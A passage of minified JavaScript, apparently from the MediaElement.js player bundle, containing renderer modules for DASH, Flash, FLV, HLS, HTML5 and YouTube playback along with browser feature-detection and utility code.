e.dispatchEvent(C),e.promises.push(u.load({options:t.dash,id:c})),p}};s.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".mpd")?"application/dash+xml":null}),o.renderer.add(d)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],20:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(n,"__esModule",{value:!0}),n.PluginDetector=undefined;var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=i(e(3)),a=i(e(2)),s=i(e(7)),l=i(e(5)),c=e(8),u=e(27),d=e(25),f=e(28),p=n.PluginDetector={plugins:[],hasPluginVersion:function(e,t){var n=p.plugins[e];return t[1]=t[1]||0,t[2]=t[2]||0,n[0]>t[0]||n[0]===t[0]&&n[1]>t[1]||n[0]===t[0]&&n[1]===t[1]&&n[2]>=t[2]},addPlugin:function(e,t,n,i,r){p.plugins[e]=p.detectPlugin(t,n,i,r)},detectPlugin:function(e,t,n,i){var a=[0,0,0],s=void 0,l=void 0;if(null!==d.NAV.plugins&&d.NAV.plugins!==undefined&&"object"===r(d.NAV.plugins[e])){if((s=d.NAV.plugins[e].description)&&("undefined"==typeof d.NAV.mimeTypes||!d.NAV.mimeTypes[t]||d.NAV.mimeTypes[t].enabledPlugin))for(var c=0,u=(a=s.replace(e,"").replace(/^\s+/,"").replace(/\sr/gi,".").split(".")).length;c<u;c++)a[c]=parseInt(a[c].match(/\d+/),10)}else if(o["default"].ActiveXObject!==undefined)try{(l=new ActiveXObject(n))&&(a=i(l))}catch(f){}return a}};p.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(e){var t=[],n=e.GetVariable("$version");return n&&(n=n.split(" ")[1].split(","),t=[parseInt(n[0],10),parseInt(n[1],10),parseInt(n[2],10)]),t});var h={create:function(e,t,n){var i={};i.options=t,i.id=e.id+"_"+i.options.prefix,i.mediaElement=e,i.flashState={},i.flashApi=null,i.flashApiStack=[];for(var r=s["default"].html5media.properties,p=function(e){i.flashState[e]=null;var t=""+e.substring(0,1).toUpperCase()+e.substring(1);i["get"+t]=function(){if(null!==i.flashApi){if("function"==typeof i.flashApi["get_"+e]){var t=i.flashApi["get_"+e]();return"buffered"===e?{start:function(){return 0},end:function(){return t},length:1}:t}return null}return null},i["set"+t]=function(t){if("src"===e&&(t=(0,f.absolutizeUrl)(t)),null!==i.flashApi&&i.flashApi["set_"+e]!==undefined)try{i.flashApi["set_"+e](t)}catch(n){}else i.flashApiStack.push({type:"set",propName:e,value:t})}},h=0,m=r.length;h<m;h++)p(r[h]);var g=s["default"].html5media.methods,y=function(e){i[e]=function(){if(null!==i.flashApi){if(i.flashApi["fire_"+e])try{i.flashApi["fire_"+e]()}catch(t){}}else i.flashApiStack.push({type:"call",methodName:e})}};g.push("stop");for(var v=0,b=g.length;v<b;v++)y(g[v]);for(var _=["rendererready"],T=0,w=_.length;T<w;T++){var S=(0,u.createEvent)(_[T],i);e.dispatchEvent(S)}o["default"]["__ready__"+i.id]=function(){if(i.flashReady=!0,i.flashApi=a["default"].getElementById("__"+i.id),i.flashApiStack.length)for(var e=0,t=i.flashApiStack.length;e<t;e++){var n=i.flashApiStack[e];if("set"===n.type){var r=n.propName,o=""+r.substring(0,1).toUpperCase()+r.substring(1);i["set"+o](n.value)}else"call"===n.type&&i[n.methodName]()}},o["default"]["__event__"+i.id]=function(e,t){var n=(0,u.createEvent)(e,i);if(t)try{n.data=JSON.parse(t),n.details.data=JSON.parse(t)}catch(r){n.message=t}i.mediaElement.dispatchEvent(n)},i.flashWrapper=a["default"].createElement("div"),-1===["always","sameDomain"].indexOf(i.options.shimScriptAccess)&&(i.options.shimScriptAccess="sameDomain");var k=e.originalNode.autoplay,C=["uid="+i.id,"autoplay="+k,"allowScriptAccess="+i.options.shimScriptAccess,"preload="+(e.originalNode.getAttribute("preload")||"")],x=null!==e.originalNode&&"video"===e.originalNode.tagName.toLowerCase(),E=x?e.originalNode.height:1,$=x?e.originalNode.width:1;e.originalNode.getAttribute("src")&&C.push("src="+e.originalNode.getAttribute("src")),!0===i.options.enablePseudoStreaming&&(C.push("pseudostreamstart="+i.options.pseudoStreamingStartQueryParam),C.push("pseudostreamtype="+i.options.pseudoStreamingType)),e.appendChild(i.flashWrapper),e.originalNode.style.display="none";var A=[];if(d.IS_IE){var M=a["default"].createElement("div");i.flashWrapper.appendChild(M),A=['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"','codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"','id="__'+i.id+'"','width="'+$+'"','height="'+E+'"'],x||A.push('style="clip: rect(0 0 0 0); position: absolute;"'),M.outerHTML="<object "+A.join(" ")+'><param name="movie" value="'+i.options.pluginPath+i.options.filename+"?x="+new Date+'" /><param name="flashvars" value="'+C.join("&")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="'+i.options.shimScriptAccess+'" /><param name="allowFullScreen" value="true" /><div>'+l["default"].t("mejs.install-flash")+"</div></object>"}else A=['id="__'+i.id+'"','name="__'+i.id+'"','play="true"','loop="false"','quality="high"','bgcolor="#000000"','wmode="transparent"','allowScriptAccess="'+i.options.shimScriptAccess+'"','allowFullScreen="true"','type="application/x-shockwave-flash"','pluginspage="//www.macromedia.com/go/getflashplayer"','src="'+i.options.pluginPath+i.options.filename+'"','flashvars="'+C.join("&")+'"','width="'+$+'"','height="'+E+'"'],x||A.push('style="clip: rect(0 0 0 0); position: absolute;"'),i.flashWrapper.innerHTML="<embed "+A.join(" ")+">";if(i.flashNode=i.flashWrapper.lastChild,i.hide=function(){x&&(i.flashNode.style.display="none")},i.show=function(){x&&(i.flashNode.style.display="")},i.setSize=function(e,t){i.flashNode.style.width=e+"px",i.flashNode.style.height=t+"px",null!==i.flashApi&&"function"==typeof i.flashApi.fire_setSize&&i.flashApi.fire_setSize(e,t)},i.destroy=function(){i.flashNode.remove()},n&&n.length>0)for(var P=0,D=n.length;P<D;P++)if(c.renderer.renderers[t.prefix].canPlayType(n[P].type)){i.setSrc(n[P].src);break}return i}};if(p.hasPluginVersion("flash",[10,0,0])){f.typeChecks.push(function(e){return(e=e.toLowerCase()).startsWith("rtmp")?~e.indexOf(".mp3")?"audio/rtmp":"video/rtmp":/\.og(a|g)/i.test(e)?"audio/ogg":~e.indexOf(".m3u8")?"application/x-mpegURL":~e.indexOf(".mpd")?"application/dash+xml":~e.indexOf(".flv")?"video/flv":null});var m={name:"flash_video",options:{prefix:"flash_video",filename:"mediaelement-flash-video.swf",enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",pseudoStreamingType:"byte"},canPlayType:function(e){return~["video/mp4","video/rtmp","audio/rtmp","rtmp/mp4","audio/mp4","video/flv","video/x-flv"].indexOf(e.toLowerCase())},create:h.create};c.renderer.add(m);var g={name:"flash_hls",options:{prefix:"flash_hls",filename:"mediaelement-flash-video-hls.swf"},canPlayType:function(e){return~["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:h.create};c.renderer.add(g);var y={name:"flash_dash",options:{prefix:"flash_dash",filename:"mediaelement-flash-video-mdash.swf"},canPlayType:function(e){return~["application/dash+xml"].indexOf(e.toLowerCase())},create:h.create};c.renderer.add(y);var v={name:"flash_audio",options:{prefix:"flash_audio",filename:"mediaelement-flash-audio.swf"},canPlayType:function(e){return~["audio/mp3"].indexOf(e.toLowerCase())},create:h.create};c.renderer.add(v);var b={name:"flash_audio_ogg",options:{prefix:"flash_audio_ogg",filename:"mediaelement-flash-audio-ogg.swf"},canPlayType:function(e){return~["audio/ogg","audio/oga","audio/ogv"].indexOf(e.toLowerCase())},create:h.create};c.renderer.add(b)}},{2:2,25:25,27:27,28:28,3:3,5:5,7:7,8:8}],21:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=t(e(3)),r=t(e(7)),o=e(8),a=e(27),s=e(25),l=e(28),c=e(26),u={promise:null,load:function(e){return"undefined"!=typeof flvjs?u.promise=new Promise(function(e){e()}).then(function(){u._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.2/flv.min.js",u.promise=u.promise||(0,c.loadScript)(e.options.path),u.promise.then(function(){u._createPlayer(e)})),u.promise},_createPlayer:function(e){flvjs.LoggingControl.enableDebug=e.options.debug,flvjs.LoggingControl.enableVerbose=e.options.debug;var t=flvjs.createPlayer(e.options);return i["default"]["__ready__"+e.id](t),t}},d={name:"native_flv",options:{prefix:"native_flv",flv:{path:"https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.3.2/flv.min.js",cors:!0,debug:!1}},canPlayType:function(e){return s.HAS_MSE&&["video/x-flv","video/flv"].indexOf(e.toLowerCase())>-1},create:function(e,t,s){var l=e.originalNode,c=e.id+"_"+t.prefix,d=null,f=null;d=l.cloneNode(!0),t=Object.assign(t,e.options);for(var p=r["default"].html5media.properties,h=r["default"].html5media.events.concat(["click","mouseover","mouseout"]),m=function(t){if("error"!==t.type){var n=(0,a.createEvent)(t.type,e);e.dispatchEvent(n)}},g=function(e){var i=""+e.substring(0,1).toUpperCase()+e.substring(1);d["get"+i]=function(){return null!==f?d[e]:null},d["set"+i]=function(i){if(-1===r["default"].html5media.readOnlyProperties.indexOf(e))if("src"===e){if(d[e]="object"===(void 0===i?"undefined":n(i))&&i.src?i.src:i,null!==f){var o={type:"flv"};o.url=i,o.cors=t.flv.cors,o.debug=t.flv.debug,o.path=t.flv.path,f.destroy();for(var a=0,s=h.length;a<s;a++)d.removeEventListener(h[a],m);(f=u._createPlayer({options:o,id:c})).attachMediaElement(d),f.load()}}else d[e]=i}},y=0,v=p.length;y<v;y++)g(p[y]);if(i["default"]["__ready__"+c]=function(t){e.flvPlayer=f=t;for(var n=flvjs.Events,i=function(e){"loadedmetadata"===e&&(f.unload(),f.detachMediaElement(),f.attachMediaElement(d),f.load()),d.addEventListener(e,m)},r=0,o=h.length;r<o;r++)i(h[r]);var s=function(t,n){if("error"===t){var i=n[0]+": "+n[1]+" "+n[2].msg;e.generateError(i,d.src)}else{var r=(0,a.createEvent)(t,e);r.data=n,e.dispatchEvent(r)}},l=function(e){n.hasOwnProperty(e)&&f.on(n[e],function(){for(var t=arguments.length,i=Array(t),r=0;r<t;r++)i[r]=arguments[r];return s(n[e],i)})};for(var c in n)l(c)},s&&s.length>0)for(var b=0,_=s.length;b<_;b++)if(o.renderer.renderers[t.prefix].canPlayType(s[b].type)){d.setAttribute("src",s[b].src);break}d.setAttribute("id",c),l.parentNode.insertBefore(d,l),l.autoplay=!1,l.style.display="none";var T={type:"flv"};T.url=d.src,T.cors=t.flv.cors,T.debug=t.flv.debug,T.path=t.flv.path,d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return null!==f&&f.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==f&&f.destroy()};var w=(0,a.createEvent)("rendererready",d);return e.dispatchEvent(w),e.promises.push(u.load({options:T,id:c})),d}};l.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".flv")?"video/flv":null}),o.renderer.add(d)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],22:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=t(e(3)),r=t(e(7)),o=e(8),a=e(27),s=e(25),l=e(28),c=e(26),u={promise:null,load:function(e){return"undefined"!=typeof Hls?u.promise=new Promise(function(e){e()}).then(function(){u._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.7.11/hls.min.js",u.promise=u.promise||(0,c.loadScript)(e.options.path),u.promise.then(function(){u._createPlayer(e)})),u.promise},_createPlayer:function(e){var t=new Hls(e.options);return i["default"]["__ready__"+e.id](t),t}},d={name:"native_hls",options:{prefix:"native_hls",hls:{path:"https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.7.11/hls.min.js",autoStartLoad:!1,debug:!1}},canPlayType:function(e){return s.HAS_MSE&&["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())>-1},create:function(e,t,s){var l=e.originalNode,c=e.id+"_"+t.prefix,d=l.getAttribute("preload"),f=l.autoplay,p=null,h=null;h=l.cloneNode(!0),(t=Object.assign(t,e.options)).hls.autoStartLoad=d&&"none"!==d||f;for(var m=r["default"].html5media.properties,g=r["default"].html5media.events.concat(["click","mouseover","mouseout"]),y=function(t){if("error"!==t.type){var n=(0,a.createEvent)(t.type,e);e.dispatchEvent(n)}},v=function(e){var i=""+e.substring(0,1).toUpperCase()+e.substring(1);h["get"+i]=function(){return null!==p?h[e]:null},h["set"+i]=function(i){if(-1===r["default"].html5media.readOnlyProperties.indexOf(e))if("src"===e){if(h[e]="object"===(void 0===i?"undefined":n(i))&&i.src?i.src:i,null!==p){p.destroy();for(var o=0,a=g.length;o<a;o++)h.removeEventListener(g[o],y);(p=u._createPlayer({options:t.hls,id:c})).loadSource(i),p.attachMedia(h)}}else h[e]=i}},b=0,_=m.length;b<_;b++)v(m[b]);if(i["default"]["__ready__"+c]=function(t){e.hlsPlayer=p=t;for(var n=Hls.Events,i=function(t){if("loadedmetadata"===t){var n=e.originalNode.src;p.detachMedia(),p.loadSource(n),p.attachMedia(h)}h.addEventListener(t,y)},r=0,o=g.length;r<o;r++)i(g[r]);var s=void 0,l=void 0,c=function(t,n){if("hlsError"===t){if(console.warn(t,n),n.fatal)switch(n.type){case"mediaError":var i=(new Date).getTime();if(!s||i-s>3e3)s=(new Date).getTime(),p.recoverMediaError();else if(!l||i-l>3e3)l=(new Date).getTime(),console.warn("Attempting to swap Audio Codec and recover from media error"),p.swapAudioCodec(),p.recoverMediaError();else{var r="Cannot recover, last media error recovery failed";e.generateError(r,h.src),console.error(r)}break;case"networkError":var o="Network error";e.generateError(o,h.src),console.error(o);break;default:p.destroy()}}else{var c=(0,a.createEvent)(t,e);c.data=n,e.dispatchEvent(c)}},u=function(e){n.hasOwnProperty(e)&&p.on(n[e],function(){for(var t=arguments.length,i=Array(t),r=0;r<t;r++)i[r]=arguments[r];return c(n[e],i)})};for(var d in n)u(d)},s&&s.length>0)for(var T=0,w=s.length;T<w;T++)if(o.renderer.renderers[t.prefix].canPlayType(s[T].type)){h.setAttribute("src",s[T].src);break}"auto"===d||f||(h.addEventListener("play",function(){null!==p&&p.startLoad()}),h.addEventListener("pause",function(){null!==p&&p.stopLoad()})),h.setAttribute("id",c),l.parentNode.insertBefore(h,l),l.autoplay=!1,l.style.display="none",h.setSize=function(e,t){return h.style.width=e+"px",h.style.height=t+"px",h},h.hide=function(){return h.pause(),h.style.display="none",h},h.show=function(){return h.style.display="",h},h.destroy=function(){null!==p&&(p.stopLoad(),p.destroy())};var S=(0,a.createEvent)("rendererready",h);return e.dispatchEvent(S),e.promises.push(u.load({options:t.hls,id:c})),h}};l.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".m3u8")?"application/x-mpegURL":null}),o.renderer.add(d)},{25:25,26:26,27:27,28:28,3:3,7:7,8:8}],23:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(3)),i=t(e(2)),r=t(e(7)),o=e(8),a=e(27),s=e(25),l={name:"html5",options:{prefix:"html5"},canPlayType:function(e){var t=i["default"].createElement("video");return s.IS_ANDROID&&/\/mp(3|4)$/i.test(e)||~["application/x-mpegurl","vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())&&s.SUPPORTS_NATIVE_HLS?"yes":t.canPlayType?t.canPlayType(e.toLowerCase()).replace(/no/,""):""},create:function(e,t,n){var s=e.id+"_"+t.prefix,l=null;e.originalNode===undefined||null===e.originalNode?(l=i["default"].createElement("audio"),e.appendChild(l)):l=e.originalNode,l.setAttribute("id",s);for(var c=r["default"].html5media.properties,u=function(e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1);l["get"+t]=function(){return l[e]},l["set"+t]=function(t){-1===r["default"].html5media.readOnlyProperties.indexOf(e)&&(l[e]=t)}},d=0,f=c.length;d<f;d++)u(c[d]);for(var p=r["default"].html5media.events.concat(["click","mouseover","mouseout"]),h=function(t){l.addEventListener(t,function(t){var n=(0,a.createEvent)(t.type,e);e.dispatchEvent(n)})},m=0,g=p.length;m<g;m++)h(p[m]);if(l.setSize=function(e,t){return l.style.width=e+"px",l.style.height=t+"px",l},l.hide=function(){return l.style.display="none",l},l.show=function(){return l.style.display="",l},n&&n.length>0)for(var y=0,v=n.length;y<v;y++)if(o.renderer.renderers[t.prefix].canPlayType(n[y].type)){l.setAttribute("src",n[y].src);break}var b=(0,a.createEvent)("rendererready",l);return e.dispatchEvent(b),l}};n["default"].HtmlMediaElement=r["default"].HtmlMediaElement=l,o.renderer.add(l)},{2:2,25:25,27:27,3:3,7:7,8:8}],24:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n=t(e(3)),i=t(e(2)),r=t(e(7)),o=e(8),a=e(27),s=e(28),l=e(26),c={isIframeStarted:!1,isIframeLoaded:!1,iframeQueue:[],enqueueIframe:function(e){c.isLoaded="undefined"!=typeof YT&&YT.loaded,c.isLoaded?c.createIframe(e):(c.loadIframeApi(),c.iframeQueue.push(e))},loadIframeApi:function(){c.isIframeStarted||((0,l.loadScript)("https://www.youtube.com/player_api"),c.isIframeStarted=!0)},iFrameReady:function(){for(c.isLoaded=!0,c.isIframeLoaded=!0;c.iframeQueue.length>0;){var e=c.iframeQueue.pop();c.createIframe(e)}},createIframe:function(e){return new YT.Player(e.containerId,e)},getYouTubeId:function(e){var t="";return e.indexOf("?")>0?""===(t=c.getYouTubeIdFromParam(e))&&(t=c.getYouTubeIdFromUrl(e)):t=c.getYouTubeIdFromUrl(e),(t=t.substring(t.lastIndexOf("/")+1).split("?"))[0]},getYouTubeIdFromParam:function(e){if(e===undefined||null===e||!e.trim().length)return null;for(var t=e.split("?")[1].split("&"),n="",i=0,r=t.length;i<r;i++){var o=t[i].split("=");if("v"===o[0]){n=o[1];break}}return n},getYouTubeIdFromUrl:function(e){return e!==undefined&&null!==e&&e.trim().length?(e=e.split("?")[0]).substring(e.lastIndexOf("/")+1):null},getYouTubeNoCookieUrl:function(e){if(e===undefined||null===e||!e.trim().length||-1===e.indexOf("//www.youtube"))return e;var t=e.split("/");return t[2]=t[2].replace(".com","-nocookie.com"),t.join("/")}},u={name:"youtube_iframe",options:{prefix:"youtube_iframe",youtube:{autoplay:0,controls:0,disablekb:1,end:0,loop:0,modestbranding:0,playsinline:0,rel:0,showinfo:0,start:0,iv_load_policy:3,nocookie:!1,imageQuality:null}},canPlayType:function(e){return~["video/youtube","video/x-youtube"].indexOf(e.toLowerCase())},create:function(e,t,o){var s={},l=[],u=4,d=null,f=!0,p=!1,h=null;s.options=t,s.id=e.id+"_"+t.prefix,s.mediaElement=e;for(var m=r["default"].html5media.properties,g=function(t){var n=""+t.substring(0,1).toUpperCase()+t.substring(1);s["get"+n]=function(){if(null!==d){var e=null;switch(t){case"currentTime":return d.getCurrentTime();case"duration":return d.getDuration();case"volume":return d.getVolume()/100;case"paused":return f;case"ended":return p;case"muted":return d.isMuted();case"buffered":var n=d.getVideoLoadedFraction(),i=d.getDuration();return{start:function(){return 0},end:function(){return n*i},length:1};case"src":return d.getVideoUrl();case"readyState":return u}return e}return null},s["set"+n]=function(n){if(null!==d)switch(t){case"src":var i="string"==typeof n?n:n[0].src,r=c.getYouTubeId(i);e.originalNode.autoplay?d.loadVideoById(r):d.cueVideoById(r);break;case"currentTime":d.seekTo(n);break;case"muted":n?d.mute():d.unMute(),setTimeout(function(){var t=(0,a.createEvent)("volumechange",s);e.dispatchEvent(t)},50);break;case"volume":n,d.setVolume(100*n), setTimeout(function(){var t=(0,a.createEvent)("volumechange",s);e.dispatchEvent(t)},50);break;case"readyState":var o=(0,a.createEvent)("canplay",s);e.dispatchEvent(o)}else l.push({type:"set",propName:t,value:n})}},y=0,v=m.length;y<v;y++)g(m[y]);for(var b=r["default"].html5media.methods,_=function(e){s[e]=function(){if(null!==d)switch(e){case"play":return f=!1,d.playVideo();case"pause":return f=!0,d.pauseVideo();case"load":return null}else l.push({type:"call",methodName:e})}},T=0,w=b.length;T<w;T++)_(b[T]);var S=i["default"].createElement("div");S.id=s.id,s.options.youtube.nocookie&&(e.originalNode.src=c.getYouTubeNoCookieUrl(o[0].src)),e.originalNode.parentNode.insertBefore(S,e.originalNode),e.originalNode.style.display="none";var k="audio"===e.originalNode.tagName.toLowerCase(),C=k?"1":e.originalNode.height,x=k?"1":e.originalNode.width,E=c.getYouTubeId(o[0].src),$={id:s.id,containerId:S.id,videoId:E,height:C,width:x,playerVars:Object.assign({controls:0,rel:0,disablekb:1,showinfo:0,modestbranding:0,html5:1,playsinline:0,start:0,end:0,iv_load_policy:3},s.options.youtube),origin:n["default"].location.host,events:{onReady:function(t){if(e.youTubeApi=d=t.target,e.youTubeState={paused:!0,ended:!1},l.length)for(var n=0,i=l.length;n<i;n++){var r=l[n];if("set"===r.type){var o=r.propName,c=""+o.substring(0,1).toUpperCase()+o.substring(1);s["set"+c](r.value)}else"call"===r.type&&s[r.methodName]()}h=d.getIframe(),e.originalNode.getAttribute("muted")&&d.mute();for(var u=["mouseover","mouseout"],f=function(t){var n=(0,a.createEvent)(t.type,s);e.dispatchEvent(n)},p=0,m=u.length;p<m;p++)h.addEventListener(u[p],f,!1);for(var g=["rendererready","loadedmetadata","loadeddata","canplay"],y=0,v=g.length;y<v;y++){var b=(0,a.createEvent)(g[y],s);e.dispatchEvent(b)}},onStateChange:function(t){var n=[];switch(t.data){case-1:n=["loadedmetadata"],f=!0,p=!1;break;case 0:n=["ended"],f=!1,p=!s.options.youtube.loop,s.options.youtube.loop||s.stopInterval();break;case 1:n=["play","playing"],f=!1,p=!1,s.startInterval();break;case 2:n=["pause"],f=!0,p=!1,s.stopInterval();break;case 3:n=["progress"],p=!1;break;case 5:n=["loadeddata","loadedmetadata","canplay"],f=!0,p=!1}for(var i=0,r=n.length;i<r;i++){var o=(0,a.createEvent)(n[i],s);e.dispatchEvent(o)}},onError:function(t){var n=(0,a.createEvent)("error",s);n.data=t.data,e.dispatchEvent(n)}}};return k&&($.playerVars.playsinline=1),e.originalNode.autoplay&&($.playerVars.autoplay=1),e.originalNode.loop&&($.playerVars.loop=1),c.enqueueIframe($),s.onEvent=function(t,n,i){null!==i&&i!==undefined&&(e.youTubeState=i)},s.setSize=function(e,t){null!==d&&d.setSize(e,t)},s.hide=function(){s.stopInterval(),s.pause(),h&&(h.style.display="none")},s.show=function(){h&&(h.style.display="")},s.destroy=function(){d.destroy()},s.interval=null,s.startInterval=function(){s.interval=setInterval(function(){var t=(0,a.createEvent)("timeupdate",s);e.dispatchEvent(t)},250)},s.stopInterval=function(){s.interval&&clearInterval(s.interval)},s.getPosterUrl=function(){var n=t.youtube.imageQuality,i=["default","hqdefault","mqdefault","sddefault","maxresdefault"],r=c.getYouTubeId(e.originalNode.src);return n&&i.indexOf(n)>-1&&r?"https://img.youtube.com/vi/"+r+"/"+n+".jpg":""},s}};n["default"].onYouTubePlayerAPIReady=function(){c.iFrameReady()},s.typeChecks.push(function(e){return/\/\/(www\.youtube|youtu\.?be)/i.test(e)?"video/x-youtube":null}),o.renderer.add(u)},{2:2,26:26,27:27,28:28,3:3,7:7,8:8}],25:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(n,"__esModule",{value:!0}),n.cancelFullScreen=n.requestFullScreen=n.isFullScreen=n.FULLSCREEN_EVENT_NAME=n.HAS_NATIVE_FULLSCREEN_ENABLED=n.HAS_TRUE_NATIVE_FULLSCREEN=n.HAS_IOS_FULLSCREEN=n.HAS_MS_NATIVE_FULLSCREEN=n.HAS_MOZ_NATIVE_FULLSCREEN=n.HAS_WEBKIT_NATIVE_FULLSCREEN=n.HAS_NATIVE_FULLSCREEN=n.SUPPORTS_NATIVE_HLS=n.SUPPORT_POINTER_EVENTS=n.HAS_MSE=n.IS_STOCK_ANDROID=n.IS_SAFARI=n.IS_FIREFOX=n.IS_CHROME=n.IS_EDGE=n.IS_IE=n.IS_ANDROID=n.IS_IOS=n.IS_IPOD=n.IS_IPHONE=n.IS_IPAD=n.UA=n.NAV=undefined;for(var r=i(e(3)),o=i(e(2)),a=i(e(7)),s=n.NAV=r["default"].navigator,l=n.UA=s.userAgent.toLowerCase(),c=n.IS_IPAD=/ipad/i.test(l)&&!r["default"].MSStream,u=n.IS_IPHONE=/iphone/i.test(l)&&!r["default"].MSStream,d=n.IS_IPOD=/ipod/i.test(l)&&!r["default"].MSStream,f=(n.IS_IOS=/ipad|iphone|ipod/i.test(l)&&!r["default"].MSStream,n.IS_ANDROID=/android/i.test(l)),p=n.IS_IE=/(trident|microsoft)/i.test(s.appName),h=(n.IS_EDGE="msLaunchUri"in s&&!("documentMode"in o["default"])),m=n.IS_CHROME=/chrome/i.test(l),g=n.IS_FIREFOX=/firefox/i.test(l),y=n.IS_SAFARI=/safari/i.test(l)&&!m,v=n.IS_STOCK_ANDROID=/^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(l),b=(n.HAS_MSE="MediaSource"in r["default"]),_=n.SUPPORT_POINTER_EVENTS=function(){var e=o["default"].createElement("x"),t=o["default"].documentElement,n=r["default"].getComputedStyle;if(!("pointerEvents"in e.style))return!1;e.style.pointerEvents="auto",e.style.pointerEvents="x",t.appendChild(e);var i=n&&"auto"===n(e,"").pointerEvents;return e.remove(),!!i}(),T=["source","track","audio","video"],w=void 0,S=0,k=T.length;S<k;S++)w=o["default"].createElement(T[S]);var C=n.SUPPORTS_NATIVE_HLS=y||f&&(m||v)||p&&/edge/i.test(l),x=w.webkitEnterFullscreen!==undefined,E=w.requestFullscreen!==undefined;x&&/mac os x 10_5/i.test(l)&&(E=!1,x=!1);var $=w.webkitRequestFullScreen!==undefined,A=w.mozRequestFullScreen!==undefined,M=w.msRequestFullscreen!==undefined,P=$||A||M,D=P,F="",L=void 0,I=void 0,N=void 0;A?D=o["default"].mozFullScreenEnabled:M&&(D=o["default"].msFullscreenEnabled),m&&(x=!1),P&&($?F="webkitfullscreenchange":A?F="mozfullscreenchange":M&&(F="MSFullscreenChange"),n.isFullScreen=L=function(){return A?o["default"].mozFullScreen:$?o["default"].webkitIsFullScreen:M?null!==o["default"].msFullscreenElement:void 0},n.requestFullScreen=I=function(e){$?e.webkitRequestFullScreen():A?e.mozRequestFullScreen():M&&e.msRequestFullscreen()},n.cancelFullScreen=N=function(){$?o["default"].webkitCancelFullScreen():A?o["default"].mozCancelFullScreen():M&&o["default"].msExitFullscreen()});var O=n.HAS_NATIVE_FULLSCREEN=E,R=n.HAS_WEBKIT_NATIVE_FULLSCREEN=$,j=n.HAS_MOZ_NATIVE_FULLSCREEN=A,V=n.HAS_MS_NATIVE_FULLSCREEN=M,U=n.HAS_IOS_FULLSCREEN=x,B=n.HAS_TRUE_NATIVE_FULLSCREEN=P,H=n.HAS_NATIVE_FULLSCREEN_ENABLED=D,W=n.FULLSCREEN_EVENT_NAME=F;n.isFullScreen=L,n.requestFullScreen=I,n.cancelFullScreen=N,a["default"].Features=a["default"].Features||{},a["default"].Features.isiPad=c,a["default"].Features.isiPod=d,a["default"].Features.isiPhone=u,a["default"].Features.isiOS=a["default"].Features.isiPhone||a["default"].Features.isiPad,a["default"].Features.isAndroid=f,a["default"].Features.isIE=p,a["default"].Features.isEdge=h,a["default"].Features.isChrome=m,a["default"].Features.isFirefox=g,a["default"].Features.isSafari=y,a["default"].Features.isStockAndroid=v,a["default"].Features.hasMSE=b,a["default"].Features.supportsNativeHLS=C,a["default"].Features.supportsPointerEvents=_,a["default"].Features.hasiOSFullScreen=U,a["default"].Features.hasNativeFullscreen=O,a["default"].Features.hasWebkitNativeFullScreen=R,a["default"].Features.hasMozNativeFullScreen=j,a["default"].Features.hasMsNativeFullScreen=V,a["default"].Features.hasTrueNativeFullScreen=B,a["default"].Features.nativeFullScreenEnabled=H,a["default"].Features.fullScreenEventName=W,a["default"].Features.isFullScreen=L,a["default"].Features.requestFullScreen=I,a["default"].Features.cancelFullScreen=N},{2:2,3:3,7:7}],26:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e){return new Promise(function(t,n){var i=p["default"].createElement("script");i.src=e,i.async=!0,i.onload=function(){i.remove(),t()},i.onerror=function(){i.remove(),n()},p["default"].head.appendChild(i)})}function o(e){var t=e.getBoundingClientRect(),n=f["default"].pageXOffset||p["default"].documentElement.scrollLeft,i=f["default"].pageYOffset||p["default"].documentElement.scrollTop;return{top:t.top+i,left:t.left+n}}function a(e,t){v(e,t)?_(e,t):b(e,t)}function s(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:400,n=arguments[2];e.style.opacity||(e.style.opacity=1);var i=null;f["default"].requestAnimationFrame(function r(o){var 